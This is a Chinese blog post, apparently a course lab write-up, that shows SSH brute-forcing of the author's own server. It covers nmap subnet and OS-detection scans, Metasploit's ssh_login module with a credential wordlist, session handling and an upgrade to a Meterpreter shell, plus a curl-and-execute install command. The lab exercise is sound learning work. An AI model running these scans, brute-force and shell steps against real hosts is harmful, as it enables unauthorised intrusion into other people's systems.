ssh暴力破解:进攻篇

任务

由于在试用阿里云提供的企业版安全中心时,注意到提示存在ssh暴力破解,但也无从下手。这次正好做为公选课的课题进行实践与理论学习,前面已经通过配置ssh登录云服务器实现一定的安全防护,这里尝试利用渗透工具进行ssh暴力破解的实战。

安装软件

主要参考博文进行操作,故下载两个软件nmap与metasploit,正巧也都曾在公选课上听到过提名。

nmap

Linux下的网络扫描和嗅探工具包. nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统

【1】
yum install nmap

很快下载完成,输入命令进行测试

nmap -sP

nmap 60.205.3.221/24 -sP -v

在这里插入图片描述

  • -s为扫描功能
    • P为ping命令形式,向指定的网络主机发送特殊网络数据报 IMCP ECHO_REQUEST。多数网络设备(少数网络如microsoft.com会ping不通)收到该数据包后会做出回应,通过此法即可验证网络连接是否正常。
  • -v打印冗余信息,更丰富。
  • /24 表示掩码255.255.255.0,因为二进制有24个1

nmap -O

nmap -O 127.0.0.1

在这里插入图片描述

在这里插入图片描述

  • -O激活对TCP/IP指纹特征(fingerprinting)的扫描,获得远程主机的标志。nmap使用一些技术检测目标主机操作系统网络协议栈的特征,nmap使用这些信息建立远程主机的指纹特征,把它和已知的操作系统指纹特征数据库做比较,就可以知道目标主机操作系统的类型。
  • 对比上下两图,分别是检测主机网络127.0.0.1与本机IP的结果,可见预测的结果正确。

metasploit

一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程

【1】

无法通过yum安装,故前往GitHub搜素,按照指引,有集成的安装指令:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall &&    chmod 755 msfinstall &&    ./msfinstall
  • curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思。
  • > msfinstall 便是把请求到的内容重定向输入到文件msfinstall中
  • chmod 755 将文件msfinstall对于不同用户组的读写执行rwx权限进行修改
  • ./msfinstall便是执行

由于外网缘故,整个速度是很慢的,开机一晚上,第二天安装成功。

暴力破解

完整的攻击应是先需要nmap对开机在线主机的信息进行搜寻,确定能对探测包做出回应的目标,以便下一步探测该主机的漏洞端口。【3】

隐藏的SSH端口

当我在经过安全设置后,把默认ssh开放的22端口修改后,此时再通过nmap进行扫描,便不见了踪影,说明还是在某种程度上有防护作用的。

在这里插入图片描述

我的工作必须且只能针对我的靶机开展,因此主要集中在metasploit的ssh_login工具的使用。

search ssh_login

通过这个命令可以找到名称包含有关键词ssh_login的模块

在这里插入图片描述

use auxiliary/scanner/ssh/ssh_login

使用该模块,输入show options便可打印出不同的参数设置情况

在这里插入图片描述

必填项:

  • RHOSTS:填写靶机的IP地址
  • RPORT:靶机开放的ssh端口(这里就要修改为我自己设置的,而非默认的22)
  • VERBOSE:冗余信息,输入set verbose true,可以把过程显示清晰一些
  • 爆破需要的用户名和密码文件在下节整理

添加userpass_file

mkdir /opt/metasploit-framework/data/wordlists -p
cd /opt/metasploit-framework/data/wordlists
touch root_userpass.txt
vi root_userpass.txt

将生成的文件保存在目录/opt/metasploit-framework/data/wordlists下,并编辑内容如下。按照程序对参数的说明,用户名和密码之间空格隔开,一行行列写。

root root
root admin
root stop
root quit
admin 1233
admin 444
admin 777
admin good
msf 2020
msf June
msf 16
hust huster
hust aia
hust 2018

下一步就是把该文件传递给模块运行的参数:

set userpass_file /opt/metasploit-framework/data/wordlists/root_userpass.txt

run

当必需的参数设定完成后,便可运行模块,开始暴力破解(就是遍历提供的用户名和密码去尝试登录靶机)

在这里插入图片描述

上面的用户名和密码都没有成功,当然要测试一下成功是什么样的:

在这里插入图片描述

这里,绿色的加号就是我将正确的用户名和密码提供后的破解结果。一方面,可以通过打印记录知道正确的用户名和密码;另一方面,消息提示已经在session2里面运行

控制主机

查看session

sessions -i

在这里插入图片描述

这里显示有一个id为1的session处于连接中

进入session

sessions -i 1

进入后便可输入相应的linux指令,恣意妄为~

在这里插入图片描述

获取meterpreter shell

Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码等。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己

【6】
sessions -u 2(session的id号)

在这里插入图片描述

可以看到,在输入该命令后,多了新的id=3的session,进入

sessions -i 3

meterpreter有系列指令,可以通过help查看。比如下面的打印系统信息sysinfo、列出主机运行进程ps。监听键盘的keyscan_start让我觉得很酷,但并没有该功能,奇怪。

在这里插入图片描述

参考资料

  1. Web安全之《SSH暴力破解》
  2. 内网渗透之扫描与SSH暴力破解
  3. 不老的神器:安全扫描器Nmap渗透使用指南
  4. nmap命令详解
  5. 存活主机
  6. 玩转Metasploit系列(第二集)
  7. metasploit获取shell之后进一步利用!metasploit+sessions
  8. Meterpreter命令详解
  9. Metasploit实战:SSH漏洞攻击

Leave a comment

Your email address will not be published. Required fields are marked *